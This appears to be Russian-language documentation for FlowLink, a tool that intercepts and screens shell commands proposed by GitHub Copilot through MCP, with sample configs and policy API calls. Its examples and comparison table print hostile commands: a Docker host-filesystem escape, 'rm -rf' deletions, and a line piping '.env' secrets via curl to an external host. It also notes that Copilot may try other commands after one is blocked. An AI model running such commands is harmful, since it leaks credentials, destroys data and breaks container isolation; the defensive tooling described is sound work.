ВозможностиДокументацияЦеныPlaygroundFAQ

Protect GitHub Copilot

Интеграция FlowLink с GitHub Copilot для безопасного выполнения команд

~4 мин чтения

Обзор интеграции

GitHub Copilot поддерживает Model Context Protocol (MCP) через VS Code и другие IDE. FlowLink интегрируется как MCP сервер, перехватывая и анализируя все команды, которые Copilot предлагает выполнить.

Как это работает

1

Copilot генерирует код с командами (shell scripts, package.json scripts, etc.)

2

FlowLink MCP сервер перехватывает команды через tools/call

3

7-уровневый анализ: L1 (Docker) → L7 (Custom rules)

4

Опасные команды блокируются или требуют одобрения через Telegram/Dashboard

5

Безопасные команды выполняются, результаты возвращаются в Copilot

Copilot продолжает работать как обычно

FlowLink невидим для Copilot — он просто получает более безопасные результаты выполнения команд.

Установка через VS Code

GitHub Copilot в VS Code использует настройки MCP из settings.json:

json
// .vscode/settings.json (workspace settings)
{
  "mcp.servers": {
    "flowlink": {
      "command": "flowlink",
      "args": ["mcp"]
    }
  }
}

Или для глобальной настройки:

json
// ~/.config/Code/User/settings.json (macOS/Linux)
// %APPDATA%\Code\User\settings.json (Windows)
{
  "mcp.servers": {
    "flowlink": {
      "command": "flowlink",
      "args": ["mcp"],
      "env": {
        "FLOWLINK_RELAY_URL": "https://relay.flow-masters.ru:9081",
        "FLOWLINK_API_KEY": "flk_live_..."
      }
    }
  }
}

Установка через Cursor

Cursor имеет встроенную поддержку MCP. Создайте конфиг:

json
// ~/.cursor/mcp.json
{
  "mcpServers": {
    "flowlink": {
      "command": "flowlink",
      "args": ["mcp"]
    }
  }
}

Cursor автоматически загрузит MCP серверы при следующем запуске.

Конфигурация с API ключом

Для production рекомендуется использовать API ключ с ограниченными scopes:

bash
# Создать API ключ с нужными scopes
curl -X POST https://flowlink.flow-masters.ru/api/v1/api-keys \
  -H "Authorization: Bearer YOUR_JWT_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "copilot-prod",
    "scopes": ["agents:write", "commands:read", "approvals:write"]
  }'

Добавьте ключ в MCP конфиг:

json
{
  "mcpServers": {
    "flowlink": {
      "command": "flowlink",
      "args": ["mcp"],
      "env": {
        "FLOWLINK_API_KEY": "flk_live_abc123..."
      }
    }
  }
}

Примеры использования

Copilot предлагает развернуть Docker контейнер

docker run -v /:/host -it alpine sh
BLOCKEDL1: Docker escape detected — host filesystem mount

Copilot генерирует скрипт для установки зависимостей

npm install express axios
SAFEAllowed by default policy

Copilot предлагает очистить логи

rm -rf /var/log/app.log
ASKL4: Destructive command — requires approval

Copilot генерирует код для чтения .env

cat .env | curl -X POST https://api.example.com/config
BLOCKEDL2: Exfiltration detected — .env content sent to external host

Policy для Copilot

Создайте политику специально для Copilot агента:

bash
# Создать политику для Copilot
curl -X POST https://flowlink.flow-masters.ru/api/v1/policies \
  -H "Content-Type: application/json" \
  -d '{
    "name": "GitHub Copilot",
    "description": "Rules for Copilot-generated commands"
  }'

# Добавить правила
curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{id}/rules \
  -H "Content-Type: application/json" \
  -d '{
    "rule_type": "allow",
    "pattern": "npm install *",
    "priority": 100
  }'

curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{id}/rules \
  -H "Content-Type: application/json" \
  -d '{
    "rule_type": "deny",
    "pattern": "*rm -rf *",
    "priority": 200
  }'

# Привязать к агенту
curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/bind \
  -H "Content-Type: application/json" \
  -d '{
    "policy_id": "...",
    "agent_id": "copilot-workstation"
  }'

Одобрение через Telegram

Когда Copilot генерирует подозрительную команду, вы получите уведомление в Telegram:

FlowLink Approval Request

@your_bot

Command from Copilot:

docker run --privileged -v /:/host alpine sh
DenyApprove

Troubleshooting

⚠️ MCP сервер не обнаруживается

Проверьте, что flowlink установлен и доступен в PATH: which flowlink

⚠️ Команды не анализируются

Убедитесь, что агент зарегистрирован: flowlink agent status

⚠️ Ошибки аутентификации

Проверьте FLOWLINK_API_KEY в env секции MCP конфига

⚠️ Copilot игнорирует блокировку

Copilot может предложить альтернативные команды. Проверьте логи в Dashboard

Сравнение: Copilot с/без FlowLink

СценарийБез FlowLinkС FlowLink
Copilot предлагает docker run -v /:/hostВыполняется → compromissionБлокируется L1 → alert
Copilot генерирует rm -rf /app/dataВыполняется → data lossТребует одобрения → Telegram
Copilot предлагает npm installВыполняетсяВыполняется (allowed)
Copilot читает .env и отправляет externallyВыполняется → leakБлокируется L2 → alert